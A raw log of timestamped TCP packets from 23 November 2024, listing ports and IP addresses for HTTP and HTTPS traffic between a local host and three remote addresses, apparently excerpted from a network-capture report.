Nov 23, 2024 03:21:24.901073933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.901173115 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.901218891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.902102947 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.902215004 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.902412891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.903146029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.903259039 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.903306961 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.904123068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.904239893 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.904282093 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.905113935 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.905230999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.905280113 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.906091928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.915004015 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.012794971 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.012861967 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.012898922 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.012969017 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.013415098 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.013487101 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.013489008 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.013621092 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.014568090 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.014679909 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.014719009 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.014755964 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.015723944 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.015821934 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.042216063 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.042320967 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.042359114 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.042469978 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.042788982 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.042846918 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.042880058 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.042965889 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.043982983 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.044043064 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.044084072 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.044157982 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.045173883 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.045222998 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.045274019 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.045433998 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.046349049 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.046415091 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.046451092 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.046597958 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.047552109 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.047615051 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.047655106 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.047739029 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.048742056 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.048794985 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.048839092 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.048942089 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.049926996 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.049999952 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.050030947 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.050103903 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.051181078 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.051239967 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.051300049 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.051348925 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.052325010 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.052406073 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.052431107 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.052484989 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.053491116 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.053544044 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.053600073 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.053663969 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.054676056 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.054722071 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.054786921 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.054867983 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.055844069 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.055953979 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.055963039 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.056051016 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.057045937 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.057101011 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.057173967 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.057231903 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.058234930 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.058310032 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.058340073 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.058437109 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.059422970 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.059503078 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.059533119 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.059662104 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.060611963 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.060720921 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.060724974 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.060781002 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.061789036 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.061829090 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.061914921 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.061979055 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.062978029 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.063092947 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.063119888 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.063239098 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.063657999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.063744068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.063895941 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.063996077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.064080954 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.064177036 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.064220905 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.064301968 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.064335108 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.064371109 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.064727068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.064778090 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.064821959 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.065395117 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.065444946 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.065521955 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.065707922 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.065747023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.065850973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.065898895 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.066560984 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.066608906 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.066675901 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.066755056 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.066766977 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.066785097 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.066807985 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.067738056 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.067774057 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.067785978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.067801952 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.067801952 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.067862034 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.067903996 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.067960978 CET	443	49793	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:25.068702936 CET	49793	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:25.068754911 CET	443	49793	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:25.068785906 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.068897963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.068943024 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.068948984 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.068960905 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.069005013 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.069055080 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.069319010 CET	49793	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:25.069334030 CET	443	49793	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:25.069772005 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.069889069 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.069936037 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.070106030 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.070159912 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.070200920 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.070254087 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.070795059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.070890903 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.070949078 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.071294069 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.071418047 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.071443081 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.071585894 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.071835041 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.071938992 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.071993113 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.072508097 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.072580099 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.072643995 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.072793007 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.072844982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.072947025 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.072992086 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.073685884 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.073791027 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.073836088 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.073836088 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.073885918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.073898077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.073960066 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.074851036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.074899912 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.074912071 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.074950933 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.074999094 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.075086117 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.075099945 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.075881958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.075999022 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.076062918 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.076098919 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.076109886 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.076148033 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.076900959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.077024937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.077120066 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.077260971 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.077315092 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.077352047 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.077406883 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.078008890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.078108072 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.078159094 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.078447104 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.078506947 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.078547955 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.078625917 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.078927040 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.079046965 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.079101086 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.079637051 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.079708099 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.079740047 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.079794884 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.079960108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.080084085 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.080135107 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.080820084 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.080902100 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.081020117 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.081032991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.081072092 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.081108093 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.081203938 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.081995964 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.082035065 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.082046986 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.082097054 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.082134008 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.082190990 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.082190990 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.083014011 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.083153963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.083199024 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.083245993 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.083257914 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.083291054 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.084028006 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.084135056 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.084180117 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.084388971 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.084486961 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.084542036 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.085025072 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.085131884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.085185051 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.085572004 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.085621119 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.085690975 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.085777044 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.086045980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.086163044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.086620092 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.086776018 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.086834908 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.086869955 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.086951971 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.087076902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.087169886 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.087285042 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.087977886 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.088023901 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.088109970 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.088121891 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.088217020 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.088219881 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.088274956 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.089092970 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.089160919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.089171886 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.089216948 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.089246988 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.089257002 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.089344025 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.090106010 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.090336084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.090347052 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.090390921 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.090441942 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.090523958 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.090523958 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.091121912 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.091248989 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.091301918 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.091644049 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.091799974 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.091803074 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.091855049 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.092159986 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.092272997 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.092340946 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.092793941 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.092864990 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.092875004 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.092988014 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.093205929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.093266010 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.093318939 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.093884945 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.093997955 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.094063044 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.094185114 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.094290018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.094366074 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.095098019 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.095200062 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.095207930 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.095252991 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.095256090 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.095267057 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.095303059 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.096224070 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.096276999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.096290112 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.096330881 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.096353054 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.096369028 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.096410036 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.097232103 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.097419024 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.097481012 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.097491026 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.097510099 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.097542048 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.098006964 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.098253012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.098356009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.098397970 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.098648071 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.098715067 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.098761082 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.098860979 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.099275112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.099390030 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.099438906 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.099850893 CET	80	49790	185.215.113.16	192.168.2.4
